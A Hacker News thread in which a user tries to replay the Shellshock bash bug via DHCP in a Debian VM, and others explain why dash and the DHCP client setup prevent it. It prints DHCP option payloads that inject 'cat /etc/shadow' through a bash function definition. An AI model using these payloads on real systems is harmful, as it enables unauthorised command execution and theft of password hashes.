Hacker Newsnew | past | comments | ask | show | jobs | submitlogin

I've tried to replay this attack in VM environment using Debian, but no luck.

option dhcp_114_FW_URL code 114 = text; option dhcp_114_FW_URL "() { ignored;}; cat /etc/shadow > /tmp/shadow"

or

option domain-name "() { :;}; cat /etc/shadow > /tmp/shadow";

not working.

dhcpdump says that option sends correctly: OPTION: 53 ( 1) DHCP message type 5 (DHCPACK) OPTION: 54 ( 4) Server identifier 192.168.1.1 OPTION: 51 ( 4) IP address leasetime 600 (10m) OPTION: 1 ( 4) Subnet mask 255.255.255.0 OPTION: 3 ( 4) Routers 192.168.1.1 OPTION: 15 ( 39) Domainname () { :;}; cat /etc/shadow > /tmp/shadow

What could be the problem?



I'm guessing it calls system() which uses /bin/sh which is symlinked to /bin/dash on debian, not /bin/bash?


What were you using to configure networking on the target machine? NetworkManager, ifupdown, something else?

I found that with ifupdown, you see the issue, as it uses dhclient which in turn calls out to dhclient-script, which is written in bash. If you use NetworkManager, it doesn't call dhclient-script; it does however call the scripts in /etc/network/if-.d, and if any of those are written in bash, then you see the issue. None of the scripts in /etc/network/if-.d on my system used bash, they all used /bin/sh, so on a Debian system where that points to dash instead of bash you're OK.


Of course I've used dhclient for this (also with -r option) with ifconfig up/down. Not working. I've also tried to re-simlink sh to bash. Not working. I'd like to check py script by mschwager (https://github.com/mschwager/shellshock_poc), may be it will be OK.


How do you have dash/bash setup:

  # debconf-show dash
  * dash/sh: true
true or false? If it did not work I imagine it is because you have /bin/sh linked to dash, as is the default in debian.




Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: